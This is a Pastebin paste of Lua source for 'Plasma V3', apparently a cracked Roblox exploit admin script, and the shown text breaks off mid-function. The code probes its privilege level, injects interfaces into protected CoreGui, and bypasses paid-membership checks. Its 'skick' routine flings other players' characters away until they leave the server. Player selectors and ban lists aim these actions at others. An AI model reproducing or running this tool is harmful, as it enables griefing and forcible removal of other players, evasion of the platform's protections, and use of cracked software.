Yayhey

sadasd

Apr 2nd, 2017
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 81.95 KB | None | 0 0
  1. wait(2)
  2. repeat wait() until game:GetService("Players").LocalPlayer ~= nil
  3. Plasma = game:GetObjects('rbxassetid://491051150')[1]
  4. print("Welcome to Plasma!")
  5. print(Plasma.pro.Value)
  6. print("{}")
  7. authGui = Plasma.Guis.auth
  8. authGui.Parent = game:GetService("CoreGui").RobloxGui
  9. authGui.TextButton.MouseButton1Click:connect(function()
  10. authGui:Destroy()
  11. Workspace, Players, Lighting, ReplicatedStorage, CoreGui, Cookie, TabletGui, GuiRemover, LocalPlayer, Teams = game:GetService("Workspace"), game:GetService("Players"), game:GetService("Lighting"), game:GetService("ReplicatedStorage"), game:GetService("CoreGui"), game:GetService("CookiesService"), game:GetService("InsertService"):LoadAsset(98253592):GetChildren()[1], game:GetService("InsertService"):LoadAsset(284135286):GetChildren()[1], game:GetService("Players").LocalPlayer, game:GetService("Teams")
  12. admins, bans, logs, Prefix, Split, Commands, antiDisconnection, notificationSounds, banAlert, friendAlert, antiToolSpam = {LocalPlayer.Name}, {"skidplr"}, {}, {"noneset"}, " ", {}, "true", "true", "true", "true", "true"
  13. falerts,slock = false, false
  14. objects = {}
  15. discoset=false
  16. rcol="0"
  17. gcol="0"
  18. bcol="0"
  19. premiumThem = "false"
  20. orginalGameSettings = {
  21. ambient = Lighting.Ambient,
  22. brightness = Lighting.Brightness,
  23. gshadows = Lighting.GlobalShadows,
  24. outdoor = Lighting.OutdoorAmbient,
  25. outlines = Lighting.Outlines,
  26. shadowcolor = Lighting.ShadowColor,
  27. timeset = Lighting.TimeOfDay,
  28. fogcolor = Lighting.FogColor,
  29. fogend = Lighting.FogEnd,
  30. fogstart = Lighting.FogStart,
  31. outdoorambient = Lighting.OutdoorAmbient
  32. }
  33. function SplitString(self,inSplitPattern)
  34. local outResults = {}
  35. local theStart = 1
  36. local theSplitStart, theSplitEnd = string.find(self, inSplitPattern, theStart)
  37. while theSplitStart do
  38. table.insert(outResults, string.sub(self,theStart,theSplitStart-1))
  39. theStart = theSplitEnd + 1
  40. theSplitStart, theSplitEnd = string.find(self,inSplitPattern,theStart)
  41. end
  42. table.insert(outResults, string.sub(self,theStart))
  43. return outResults
  44. end
  45. function ispremium(plrname)
  46. for i, v in pairs(SplitString(game:GetService("MarketplaceService"):GetProductInfo(491056284).Description, ", ")) do
  47. if plrname == v then
  48. return true
  49. end
  50. end
  51. return true
  52. end
  53.  
  54. function isplasmauser(plrname)
  55. for i, v in pairs(SplitString(game:GetService("MarketplaceService"):GetProductInfo(491056284).Description, ", ")) do
  56. if plrname == v then
  57. return true
  58. end
  59. end
  60. return true
  61. end
  62. updatelogtable = {
  63. "Plasma V3 Enjoy Da Crack:)"
  64. }
  65. shid = 491056284
  66. function getContext()
  67. local context = 2
  68. local success, erro = pcall(function()
  69. return Instance.new("ImageButton"):SetVerb("Stop")
  70. end)
  71. if success then
  72. context=4
  73. end
  74. success, erro = pcall(function()
  75. return CoreGui.Name
  76. end)
  77. if success then
  78. context=5
  79. end
  80. success, erro = pcall(function()
  81. return game:GetService('Players').LocalPlayer:SetWebPersonalServerRank(1)
  82. end)
  83. if erro then
  84. if erro =='setWebPersonalServerRank should be called from server'then
  85. context = 7
  86. end
  87. end
  88. return context
  89. end
  90. local sucs1337 = true
  91. for i, v in pairs(SplitString(game:GetService("MarketplaceService"):GetProductInfo(shid).Description, ", ")) do
  92. if LocalPlayer.Name == v then
  93. if LocalPlayer.userId == Players:GetUserIdFromNameAsync(v) then
  94. sucs1337 = true
  95. end
  96. end
  97. end
  98. function fade2(obj)
  99. local am = .15
  100. local function cs(ins)
  101. for i, v in pairs(ins:GetChildren()) do
  102. if v:IsA("Frame") then
  103. spawn(function()repeat wait() v.BackgroundTransparency = v.BackgroundTransparency+am until v.BackgroundTransparency>1 end)
  104. elseif v:IsA("TextLabel") then
  105. spawn(function()repeat wait() v.TextTransparency = v.TextTransparency+am until v.TextTransparency>1 end)
  106. elseif v:IsA("TextButton") or v:IsA("TextBox") then
  107. spawn(function()repeat wait() v.TextTransparency = v.TextTransparency+am until v.TextTransparency>1 end)
  108. spawn(function()repeat wait() v.BackgroundTransparency = v.BackgroundTransparency+am until v.BackgroundTransparency>1 end)
  109. elseif v:IsA("ScrollingFrame") then
  110. v.BottomImage = "" v.MidImage = "" v.TopImage = ""
  111. end
  112. cs(v)
  113. end
  114. end
  115. cs(obj)
  116. end
  117. function updateColor()
  118. Plasma.Guis.Settings.Settings.Frame.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
  119. end
  120. if sucs1337 == true and getContext() > 3 then
  121. local label = Plasma.Guis.splash.lab
  122. label.Parent = CoreGui.RobloxGui
  123. label.MouseButton1Click:connect(function()
  124. runsettings()
  125. end)
  126. if ispremium(LocalPlayer.Name) then
  127. label.Text = "Plasma V3 Premium"
  128. label.TextColor3 = Color3.new(75/255,0/255,0/255)
  129. else
  130. label.Text = "Plasma V3"
  131. end
  132. pcall(function()
  133. if Cookie:GetCookieValue("hasRunPlasmaB4") ~= "true" then
  134. local gui = Plasma.Guis.login.Frame
  135. gui.Parent = CoreGui.RobloxGui
  136. local done = false
  137. gui.TextButton.MouseButton1Click:connect(function()
  138. prefix = gui.TextLabel.Text
  139. gui:Destroy()
  140. Cookie:SetCookieValue("hasRunPlasmaB4", "true")
  141. Cookie:SetCookieValue("PlasmaPrefixSetting", table.concat(Prefix, ", "))
  142. done = true
  143. end)
  144. repeat wait() until done == true
  145. end
  146. end)
  147. function fade(obj) function unanchor(ins) for i, v in pairs(ins:GetChildren()) do pcall(function()if v["BackgroundTransparency"] then for i=0,30 do spawn(function() wait()v.BackgroundTransparency = v.BackgroundTransparency+0.035
  148. end) end end end) pcall(function()if v["TextTransparency"] then spawn(function() for i=0,30 do wait()v.TextTransparency = v.TextTransparency+0.035 end end) end end) unanchor(v) end end unanchor(obj) for i=0,30 do wait()
  149. obj.Rotation = obj.Rotation+2.5 obj.BackgroundTransparency = obj.BackgroundTransparency+0.035 end end
  150. function tabletalert(str, plr)
  151. local tab=Plasma.Tablets.AlertPanel:Clone()
  152. tab.BrickColor = BrickColor.new(Color3.new(rcol/255,gcol/255,bcol/255))
  153. tab.b.f.t.Text = str
  154. local weld = Instance.new("Weld")
  155. weld.Part0 = tab
  156. weld.Part1 = plr.Character.Torso
  157. weld.C0 = CFrame.new()
  158. weld.C1 = CFrame.new(3,2,1) * CFrame.Angles(0, 0, 0)
  159. weld.Parent = tab
  160. tab.Parent = plr.Character
  161. spawn(function()wait(3)if tab~=nil then tab:Destroy()end end)
  162. end
  163. alertstable = {
  164. {"space1",false,0.3};
  165. {"space2",false,0.4};
  166. {"space3",false,0.5};
  167. {"space4",false,0.6};
  168. {"space5",false,0.7};
  169. }
  170. function tabletablet(plr, tablee, name, position, getplr, alls)
  171. local tablet = Plasma.Tablets.Panel1:Clone()
  172. if premiumThem == "true" and alls ~= true then
  173. tablet.prem.Enabled = true
  174. end
  175. frame = tablet.SurfaceGui.Frame.ScrollingFrame
  176. if ispremium(LocalPlayer.Name) then
  177. frame.Parent.TextLabel.Text = "Plasma V3 Premium - "..name
  178. else
  179. frame.Parent.TextLabel.Text = "Plasma V3 - "..name
  180. end
  181. if getplr == true then
  182. frame.Parent.TextLabel.Text = name
  183. end
  184. val, count = 1, 1
  185. for _, v in pairs(tablee) do
  186. local lab = frame.tx:Clone()
  187. lab.Parent = frame
  188. lab.Position = UDim2.new(0,0,0,val)
  189. val = val+50
  190. if tablee == Commands then
  191. printstr = ""
  192. for q, p in pairs(v[1]) do
  193. printstr = printstr .. p .. "/"
  194. end
  195. lab.Text = "["..count.."] "..printstr:sub(1, #printstr - 1)..(v[2]and(" ("..v[2]..")")or"")
  196. elseif getplr == true then
  197. lab.Text = v
  198. else
  199. lab.Text = "["..count.."] "..v
  200. end
  201. count = count+1
  202. lab.Visible = true
  203. frame.CanvasSize = UDim2.new(0,0,0,val)
  204. end
  205. local weld = Instance.new("Weld")
  206. weld.Part0 = tablet
  207. weld.Part1 = plr.Character.Torso
  208. weld.C0 = CFrame.new()
  209. weld.C1 = position
  210. weld.Parent = tablet
  211. tablet.Parent = Workspace
  212. tablet.Name = plr.Name.."'s tablet"
  213. end
  214. function giveplrgui(header, msg11, player)
  215. local sgui = Instance.new("ScreenGui")
  216. local fgui = Instance.new("Frame", sgui)
  217. fgui.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
  218. fgui.BackgroundTransparency = 0.19
  219. fgui.BorderSizePixel = 0
  220. fgui.Size = UDim2.new(0.5,0,0.4,0)
  221. fgui.Position = UDim2.new(0.25,0,0.2,0)
  222. local hgui = Instance.new("TextLabel", fgui)
  223. hgui.BackgroundColor3 = Color3.new(0,0,0)
  224. hgui.BackgroundTransparency = 0.46
  225. hgui.BorderSizePixel = 0
  226. hgui.Size = UDim2.new(1,0,0.1,0)
  227. hgui.Font = "SourceSansLight"
  228. hgui.FontSize = "Size18"
  229. hgui.Text = header
  230. hgui.TextColor3 = Color3.new(1,1,1)
  231. hgui.TextXAlignment = "Center"
  232. hgui.TextYAlignment = "Center"
  233. hgui.ZIndex = 2
  234. local mgui = Instance.new("TextLabel", fgui)
  235. mgui.BackgroundColor3 = Color3.new(0,0,0)
  236. mgui.BackgroundTransparency = 1
  237. mgui.Size = UDim2.new(1,0,0.9,0)
  238. mgui.ZIndex = 2
  239. mgui.Font = "SourceSansLight"
  240. mgui.TextScaled = true
  241. mgui.Position = UDim2.new(0,0,0.1,0)
  242. mgui.Text = msg11
  243. mgui.TextColor3 = Color3.new(1,1,1)
  244. mgui.TextXAlignment = "Center"
  245. mgui.TextYAlignment = "Top"
  246. local gr,pr = game:GetService("InsertService"):LoadAsset(98253592):GetChildren()[1], game:GetService("InsertService"):LoadAsset(284135286):GetChildren()[1]
  247. gr.TabletGui:Destroy()
  248. local rem=pr.Script.Remover:Clone()
  249. local rv=Instance.new("BoolValue", ReplicatedStorage)
  250. rv.Name=player.Name .. "GUIREM"
  251. local ngui = sgui:Clone()
  252. ngui.Name="TabletGui"
  253. ngui.Parent=gr
  254. rem.Parent = ngui
  255. rem.Disabled = false
  256. local tname = ""
  257. for _, x in pairs(player.Character:GetChildren())do
  258. if x:IsA("Tool") then
  259. tname = x.Name
  260. end
  261. end
  262. player.Character.Humanoid:EquipTool(gr)
  263. player.Character.ROBLOXTablet:Destroy()
  264. if tname ~=""then
  265. player.Backpack[tname].Parent = player.Character
  266. end
  267. end
  268. function alert(messag, style)
  269. spawn(function()
  270. local msg = Plasma.Guis.welMsg.Frame:Clone()
  271. if premiumThem == "true" then
  272. msg.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
  273. end
  274. local chosen = ""
  275. repeat wait()
  276. for i = 1,#alertstable do
  277. if alertstable[i][2] == false then
  278. alertstable[i][2] = true
  279. msg.Position = UDim2.new(0,0,alertstable[i][3],0)
  280. chosen = alertstable[i][3]
  281. break
  282. end
  283. end
  284. until chosen ~= ""
  285. msg.Parent = CoreGui.RobloxGui
  286. msg.MouseEnter:connect(function()
  287. fade(msg)
  288. end)
  289. if notificationSounds == "true" then
  290. local audio = Instance.new("Sound", LocalPlayer)audio.SoundId = "rbxassetid://138222365"audio:Play()
  291. end
  292. if style ~= nil then
  293. local alpha = {"a", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "n", "m", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", ".", ",","!", "/", ":", ";", "@", "(", ")", "_", "end"}
  294. local c = 1
  295. local newtext = ""
  296. local text = messag
  297. local function nt(n)newtext = newtext .. n end
  298. repeat
  299. local label = msg.new
  300. for i, v in pairs(alpha) do
  301. label.Text = newtext
  302. label.Text = label.Text .. v
  303. if string.sub(text, c, c):lower() == v:lower() then
  304. nt(string.sub(text, c, c))
  305. c = c+1
  306. break
  307. end
  308. if string.sub(text, c, c) == " " then nt(" ")c = c+1 end
  309. if v == "end" then c = c+1 end
  310. game:GetService("RunService").RenderStepped:wait()
  311. end
  312. until
  313. c > string.len(text)
  314. else
  315. msg.new.Text = messag
  316. end
  317. wait(2.5)
  318. fade(msg)
  319. msg:Destroy()
  320. for i = 1,#alertstable do
  321. if alertstable[i][3] == chosen then
  322. alertstable[i][2] = false
  323. break
  324. end
  325. end
  326. end)
  327. end
  328. function FindFirstClass(thingy, Class)
  329. for i, v in pairs(thingy:GetChildren()) do
  330. if v.ClassName == Class then return v end
  331. end
  332. return false
  333. end
  334. function skick(plr)
  335. if plr ~= LocalPlayer and plr.Name~="G3rtidadon" then
  336. pcall(function()
  337. spawn(function()
  338. lol=function(wt)
  339. if wt then
  340. if(wt~=nil)then
  341. spawn(function()
  342. pcall(function()
  343. local vic=wt
  344. local skt=Instance.new("SkateboardPlatform", vic)
  345. skt.CFrame=CFrame.new(math.random(-1000,1000),1000,math.random(-1000,1000))
  346. skt.CanCollide=false
  347. skt.Anchored=false
  348. skt.Transparency=1
  349. skt.Size=Vector3.new(5,1,5)
  350. FindFirstClass(vic, "Humanoid").WalkSpeed=0
  351. FindFirstClass(vic, "Humanoid").Jump=true
  352. vic.Health:Destroy()
  353. vic.HumanoidRootPart.Anchored = false
  354. wait(.2)
  355. local wld=Instance.new("Weld", workspace)
  356. wld.Part0=vic.Torso
  357. wld.Part1=skt
  358. wld.C0=CFrame.new(0,-500,0)
  359. wait(.5)
  360. skt.Anchored=true
  361. wld:Destroy()
  362. end)
  363. end);
  364. end;
  365. end;
  366. end;
  367. repeat
  368. wait()
  369. if plr ~= nil then
  370. lol(plr.Character)
  371. end
  372. until not Players:FindFirstChild(plr.Name)
  373. if not Players:FindFirstChild(plr.Name) then
  374. alert("Removed "..plr.Name)
  375. end
  376. end)
  377. end)
  378. end
  379. end
  380. function IsAdmin(Plr)
  381. if Plr.ClassName == "Player" then
  382. if Plr == LocalPlayer then return true end
  383. for i, v in pairs(admins) do if v == Plr.Name then return true end end
  384. end
  385. return false
  386. end
  387. function IsAdmin(Plr)
  388. if Plr.ClassName == "Player" then
  389. if Plr == LocalPlayer then return true end
  390. for i, v in pairs(admins) do if v == Plr.Name then return true end end
  391. end
  392. return false
  393. end
  394. FindPlayer = function(plr, Speaker)
  395. plr = plr:lower()
  396. local plrs = {}
  397. dif = SplitString(plr, ",")
  398. for w, g in pairs(dif) do
  399. if g ~= "" then
  400. if g == "me" then
  401. table.insert(plrs, Speaker)
  402. elseif g == "all" then
  403. plrs = Players:GetChildren()
  404. elseif g == "others" then
  405. for i,v in pairs(Players:GetChildren()) do
  406. if v.Name ~= Speaker.Name then
  407. table.insert(plrs, v)
  408. end
  409. end
  410. elseif g == "random" then
  411. table.insert(plrs, Players:GetChildren()[math.random(1,#Players:GetChildren())])
  412. elseif g == "admins" then
  413. for i,v in pairs(Players:GetChildren()) do
  414. if IsAdmin(v) then
  415. table.insert(plrs, v)
  416. end
  417. end
  418. elseif g == "nonadmins" then
  419. for i,v in pairs(Players:GetChildren()) do
  420. if not IsAdmin(v) then
  421. table.insert(plrs, v)
  422. end
  423. end
  424. elseif g == "friends" then
  425. for i,v in pairs(Players:GetChildren()) do
  426. if v:IsFriendsWith(Speaker.userId) and v ~= Speaker then
  427. table.insert(plrs, v)
  428. end
  429. end
  430. elseif g == "nonfriends" then
  431. for i,v in pairs(Players:GetChildren()) do
  432. if not v:IsFriendsWith(Speaker.userId) then
  433. table.insert(plrs, v)
  434. end
  435. end
  436. elseif g == "guests" then
  437. for i,v in pairs(Players:GetChildren()) do
  438. if v.Name:find("Guest ") then
  439. table.insert(plrs, v)
  440. end
  441. end
  442. elseif g == "nonguests" then
  443. for i,v in pairs(Players:GetChildren()) do
  444. if not v.Name:find("Guest ") then
  445. table.insert(plrs, v)
  446. end
  447. end
  448. else
  449. local found = false
  450. for i,v in pairs(Players:GetChildren()) do
  451. if string.sub(v.Name:lower(), 1, #g) == g then
  452. table.insert(plrs, v) found = true
  453. end
  454. end
  455. if found == false then
  456. for i, v in pairs(game:GetService("Teams"):GetChildren()) do
  457. if string.sub(v.Name:lower(), 1, #g) == g then
  458. for q, p in pairs(Players:GetChildren()) do
  459. if p.TeamColor == v.TeamColor then
  460. table.insert(plrs, p)
  461. end
  462. end
  463. end
  464. end
  465. end
  466. end
  467.  
  468. end
  469. end
  470. return plrs
  471. end
  472. function IsBanned(Plr)
  473. if Plr.ClassName == "Player" then
  474. if Plr == LocalPlayer then return false end
  475. for i, v in pairs(bans) do if v:lower() == Plr.Name:lower() then return true end end
  476. end
  477. return false
  478. end
  479. function savebans()
  480. Cookie:SetCookieValue("PlasmaBanList1", table.concat(bans, ", "))
  481. end
  482.  
  483. function loadbans()
  484. local newbans = SplitString(Cookie:GetCookieValue("PlasmaBanList1"), ", ")
  485. bans = {}
  486. bans = newbans
  487. end
  488. function savesettings()
  489. Cookie:SetCookieValue("PlasmaPrefixSetting", table.concat(Prefix, ", "))
  490. Cookie:SetCookieValue("PlasmaAntiDiscSetting", antiDisconnection)
  491. Cookie:SetCookieValue("NotificationSetting", notificationSounds)
  492. Cookie:SetCookieValue("BanAlertSetting", banAlert)
  493. Cookie:SetCookieValue("FriendAlertSetting", friendAlert)
  494. Cookie:SetCookieValue("AntiToolSpamSetting", antiToolSpam)
  495. Cookie:SetCookieValue("RedColorTheme", rcol)
  496. Cookie:SetCookieValue("GreenColorTheme", gcol)
  497. Cookie:SetCookieValue("BlueColorTheme", bcol)
  498. Cookie:SetCookieValue("PremThem", premiumThem)
  499. end
  500. function loadsettings()
  501. if Cookie:GetCookieValue("hasRunPlasmaB4") == "true" then
  502. local prefixx = SplitString(Cookie:GetCookieValue("PlasmaPrefixSetting"), ", ")
  503. Prefix = {}
  504. Prefix = prefixx
  505. end
  506. antiDisconnection = Cookie:GetCookieValue("PlasmaAntiDiscSetting")
  507. notificationSounds = Cookie:GetCookieValue("NotificationSetting")
  508. banAlert = Cookie:GetCookieValue("BanAlertSetting")
  509. friendAlert = Cookie:GetCookieValue("FriendAlertSetting")
  510. antiToolSpam = Cookie:GetCookieValue("AntiToolSpamSetting")
  511. rcol = Cookie:GetCookieValue("RedColorTheme")
  512. gcol = Cookie:GetCookieValue("GreenColorTheme")
  513. bcol = Cookie:GetCookieValue("BlueColorTheme")
  514. if ispremium(LocalPlayer.Name) then
  515. if Cookie:GetCookieValue("PremThem") == "true" or Cookie:GetCookieValue("PremThem") == "false" then
  516. premiumThem = Cookie:GetCookieValue("PremThem")
  517. end
  518. end
  519. updateColor()
  520. end
  521. function runsettings()
  522. gui = Plasma.Guis.Settings.Settings:Clone()
  523. gui.Parent = CoreGui.RobloxGui
  524. gui.Name = "set"
  525. local general = gui.Frame.general
  526. local client = gui.Frame.client
  527. local function changetab(tab)
  528. for i, v in pairs(gui.Frame:GetChildren()) do if v:IsA("Frame") then v.Visible = false end end
  529. tab.Visible = true
  530. end
  531. gui.Frame.gen.MouseButton1Click:connect(function() changetab(gui.Frame.general) end)
  532. gui.Frame.cli.MouseButton1Click:connect(function() changetab(gui.Frame.client) end)
  533. gui.Frame.admin.MouseButton1Click:connect(function() changetab(gui.Frame.admins) end)
  534. gui.Frame.ban.MouseButton1Click:connect(function() changetab(gui.Frame.bans) end)
  535. gui.Frame.log.MouseButton1Click:connect(function() changetab(gui.Frame.logs) end)
  536. gui.Frame.coma.MouseButton1Click:connect(function() changetab(gui.Frame.commands) end)
  537. gui.Frame.memb.MouseButton1Click:connect(function() changetab(gui.Frame.member) end)
  538. gui.Frame.updates.MouseButton1Click:connect(function() changetab(gui.Frame.upd) end)
  539. gui.Frame.the.MouseButton1Click:connect(function() changetab(gui.Frame.them) end)
  540. gui.Frame.pre.MouseButton1Click:connect(function() changetab(gui.Frame.prem) end)
  541. local function setcolor(button, val)if val == "true" then button.BackgroundColor3 = Color3.new(255/255,255/255,255/255)else button.BackgroundColor3 = Color3.new(6/255,6/255,6/255) end end
  542. local function isselected(button)if button.BackgroundColor3 == Color3.new(255/255,255/255,255/255) then return true else return false end end
  543. general.restore.MouseButton1Click:connect(function()setcolor(general.disTXT.btn, "true")setcolor(general.soundTXT.btn, "true")end)
  544. general.disTXT.btn.MouseButton1Click:connect(function() if isselected(general.disTXT.btn) then setcolor(general.disTXT.btn, "false") else setcolor(general.disTXT.btn, "true") end end)
  545. general.soundTXT.btn.MouseButton1Click:connect(function() if isselected(general.soundTXT.btn) then setcolor(general.soundTXT.btn, "false") else setcolor(general.soundTXT.btn, "true") end end)
  546. general.donTXT.btn.MouseButton1Click:connect(function() game:GetService("MarketplaceService"):PromptPurchase(LocalPlayer, shid) end)
  547. client.title.Text = "Client - "..LocalPlayer.Name
  548. client.restore.MouseButton1Click:connect(function() client.contextTXT.txt.Text = getContext()setcolor(client.alertTXT.btn, "true")setcolor(client.alert2TXT.btn, "true")setcolor(client.alert3TXT.btn, "true")end)
  549. client.alertTXT.btn.MouseButton1Click:connect(function() if isselected(client.alertTXT.btn) then setcolor(client.alertTXT.btn, "false") else setcolor(client.alertTXT.btn, "true") end end)
  550. client.alert2TXT.btn.MouseButton1Click:connect(function() if isselected(client.alert2TXT.btn) then setcolor(client.alert2TXT.btn, "false") else setcolor(client.alert2TXT.btn, "true") end end)
  551. client.alert3TXT.btn.MouseButton1Click:connect(function() if isselected(client.alert3TXT.btn) then setcolor(client.alert3TXT.btn, "false") else setcolor(client.alert3TXT.btn, "true") end end)
  552. gui.Frame.commands.TextBox.Changed:connect(function(e)if e == "Text" then gui.Frame.commands.ScrollingFrame:ClearAllChildren()val, count = 1, 1 for i, v in pairs(Commands) do if string.sub(v[1][1]:lower(), 1, #gui.Frame.commands.TextBox.Text:lower()) == gui.Frame.commands.TextBox.Text:lower() then
  553. local label = gui.var:Clone()label.Parent = gui.Frame.commands.ScrollingFrame label.Position = UDim2.new(0,0,0,val)val = val+20 label.TextButton:Destroy() printstr = ""for q, p in pairs(v[1]) do printstr = printstr .. p .. "/"end
  554. label.Text = "["..count.."] "..printstr:sub(1, #printstr - 1)label.Visible = true count = count+1 gui.Frame.commands.ScrollingFrame.CanvasSize = UDim2.new(0,0,0,val)end end end end)
  555. gui.Frame.logs.TextBox.Changed:connect(function(e)if e == "Text" then gui.Frame.logs.ScrollingFrame:ClearAllChildren()val, count = 1, 1 for i, v in pairs(logs) do if v[2]:lower():find(gui.Frame.logs.TextBox.Text:lower()) then
  556. local label = gui.var:Clone()label.Parent = gui.Frame.logs.ScrollingFrame label.Position = UDim2.new(0,0,0,val)val = val+20 label.TextButton:Destroy()label.Text = "["..count.."] "..v[1]..": "..v[2]label.Visible = true count = count+1
  557. gui.Frame.logs.ScrollingFrame.CanvasSize = UDim2.new(0,0,0,val)end end end end)
  558. gui.Frame.member.TextBox.Changed:connect(function(e)if e == "Text" then gui.Frame.member.ScrollingFrame:ClearAllChildren()val, count = 1, 1 for i, v in pairs(SplitString(game:GetService("MarketplaceService"):GetProductInfo(shid).Description, ", ")) do
  559. if v:lower():find(gui.Frame.member.TextBox.Text:lower()) then local label = gui.var:Clone()label.Parent = gui.Frame.member.ScrollingFrame label.Position = UDim2.new(0,0,0,val)val = val+20 label.TextButton:Destroy()label.Text = "["..count.."] "..v
  560. label.Visible = true count = count+1 gui.Frame.member.ScrollingFrame.CanvasSize = UDim2.new(0,0,0,val)end end end end)
  561. local str = [[
  562.  
  563. ]]
  564. loadstring(str)()
  565. gui.Frame.admins.TextLabel.TextButton.MouseButton1Click:connect(function() if gui.Frame.admins.TextLabel.TextButton.Frame.Visible == true then gui.Frame.admins.TextLabel.TextButton.Frame.Visible = false else gui.Frame.admins.TextLabel.TextButton.Frame.Visible = true end end)
  566. gui.Frame.bans.TextLabel.TextButton.MouseButton1Click:connect(function() if gui.Frame.bans.TextLabel.TextButton.Frame.Visible == true then gui.Frame.bans.TextLabel.TextButton.Frame.Visible = false else gui.Frame.bans.TextLabel.TextButton.Frame.Visible = true end end)
  567. general.prefixTXT.txt.Text = table.concat(Prefix, ", ")setcolor(general.disTXT.btn, antiDisconnection)setcolor(general.soundTXT.btn, notificationSounds)client.contextTXT.txt.Text = getContext()setcolor(client.alertTXT.btn, banAlert)
  568. setcolor(client.alert2TXT.btn, friendAlert) setcolor(client.alert3TXT.btn, antiToolSpam)
  569. function loada(name, tables)
  570. function removeBtn(btn, playername, tabl, libery)
  571. btn.TextButton.MouseButton1Click:connect(function()
  572. for l, k in pairs(tabl) do
  573. if k == playername then
  574. table.remove(tabl, l)
  575. end
  576. end
  577. val, count = 1, 1
  578. for _, p in pairs(libery:GetChildren()) do p:Destroy() end
  579. for i, v in pairs(tabl) do
  580. label = gui.var:Clone()
  581. label.Parent = libery
  582. label.Position = UDim2.new(0,0,0,val)
  583. val = val+20
  584. label.Text = "["..count.."] "..v
  585. label.Visible = true
  586. count = count+1
  587. end
  588. libery.CanvasSize = UDim2.new(0,0,0,val)
  589. if getContext() == 4 or getContext() == 7 then
  590. savebans()
  591. end
  592. end)
  593. end
  594. val, count = 1, 1
  595. for i, v in pairs(tables) do
  596. if v ~= "" and not ispremium(v) then
  597. label = gui.var:Clone()
  598. label.Parent = gui.Frame[name].ScrollingFrame
  599. label.Position = UDim2.new(0,0,0,val)
  600. val = val+20
  601. if Players:FindFirstChild(v) then
  602. label.Text = "["..count.."] "..v.." (in-game)"
  603. elseif name == "upd" then
  604. label.Text = v
  605. label.TextXAlignment = "Center"
  606. else
  607. label.Text = "["..count.."] "..v
  608. end
  609. label.Visible = true
  610. count = count+1
  611. if name ~= "member" and name ~= "upd" then
  612. removeBtn(label, v, tables, gui.Frame[name].ScrollingFrame)
  613. else
  614. label.TextButton:Destroy()
  615. end
  616. gui.Frame[name].ScrollingFrame.CanvasSize = UDim2.new(0,0,0,val)
  617. end
  618. end
  619. if name ~= "member" and name ~= "upd" then
  620. gui.Frame[name].TextLabel.TextButton.Frame.Frame.btn.MouseButton1Click:connect(function()
  621. local frame = gui.Frame[name].TextLabel.TextButton.Frame.Frame
  622. local nameofnew = frame.TextBox
  623. table.insert(tables, nameofnew.Text)
  624. val, count = 1, 1
  625. gui.Frame[name].ScrollingFrame:ClearAllChildren()
  626. for i, v in pairs(tables) do
  627. label = gui.var:Clone()
  628. label.Parent = gui.Frame[name].ScrollingFrame
  629. label.Position = UDim2.new(0,0,0,val)
  630. val = val+20
  631. label.Text = "["..count.."] "..v
  632. label.Visible = true
  633. count = count+1
  634. removeBtn(label, v, tables, gui.Frame[name].ScrollingFrame)
  635. end
  636. gui.Frame[name].ScrollingFrame.CanvasSize = UDim2.new(0,0,0,val)
  637. if getContext() == 4 or getContext() == 7 then
  638. savebans()
  639. end
  640. end)
  641. end
  642. end
  643. loada("admins", admins)
  644. loada("bans", bans)
  645. loada("member", SplitString(game:GetService("MarketplaceService"):GetProductInfo(shid).Description, ", "))
  646. loada("upd", updatelogtable)
  647. function loada2(name, tables)
  648. val, count = 1, 1
  649. for i, v in pairs(tables) do
  650. local label = gui.var:Clone()
  651. label.Parent = gui.Frame[name].ScrollingFrame
  652. label.Position = UDim2.new(0,0,0,val)
  653. val = val+20
  654. label.TextButton:Destroy()
  655. if tables == Commands then
  656. printstr = ""
  657. for q, p in pairs(v[1]) do
  658. printstr = printstr .. p .. "/"
  659. end
  660. label.Text = "["..count.."] "..printstr:sub(1, #printstr - 1)
  661. else
  662. label.Text = "["..count.."] "..v[1]..": "..v[2]
  663. end
  664. label.Visible = true
  665. count = count+1
  666. gui.Frame[name].ScrollingFrame.CanvasSize = UDim2.new(0,0,0,val)
  667. end
  668. end
  669. loada2("logs", logs)
  670. loada2("commands", Commands)
  671. gui.Frame.them.r.col.Text = rcol
  672. gui.Frame.them.g.col.Text = gcol
  673. gui.Frame.them.b.col.Text = bcol
  674. gui.Frame.them.r.col.Changed:connect(function(t)
  675. if t == "Text" then
  676. rcol = gui.Frame.them.r.col.Text
  677. gui.Frame.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
  678. end
  679. end)
  680. gui.Frame.them.g.col.Changed:connect(function(t)
  681. if t == "Text" then
  682. gcol = gui.Frame.them.g.col.Text
  683. gui.Frame.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
  684. end
  685. end)
  686. gui.Frame.them.b.col.Changed:connect(function(t)
  687. if t == "Text" then
  688. bcol = gui.Frame.them.b.col.Text
  689. gui.Frame.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
  690. end
  691. end)
  692. if ispremium(LocalPlayer.Name) then
  693. gui.Frame.them.prem.Visible = true
  694. gui.Frame.them.prem.MouseButton1Click:connect(function()
  695. gui.Frame.BackgroundColor3 = Color3.new(75/255, 0/255, 0/255)
  696. gui.Frame.them.r.col.Text = "75"
  697. gui.Frame.them.g.col.Text = "0"
  698. gui.Frame.them.b.col.Text = "0"
  699. CoreGui.RobloxGui.TextBox.BackgroundColor3 = Color3.new(75/255, 0/255, 0/255)
  700. premiumThem = "true"
  701. end)
  702. end
  703. gui.Frame.them.restore.MouseButton1Click:connect(function() CoreGui.RobloxGui.TextBox.BackgroundColor3 = Color3.new(0/255, 0/255, 0/255) gui.Frame.BackgroundColor3 = Color3.new(0/255, 0/255, 0/255)premiumThem = "false" gui.Frame.them.r.col.Text = "0" gui.Frame.them.g.col.Text = "0" gui.Frame.them.b.col.Text = "0" end)
  704. gui.txt.MouseButton1Click:connect(function()
  705. Prefix = SplitString(general.prefixTXT.txt.Text, ", ")
  706. if isselected(general.disTXT.btn) then antiDisconnection = "true" else antiDisconnection = "false" end
  707. if isselected(general.soundTXT.btn) then notificationSounds = "true" else notificationSounds = "false" end
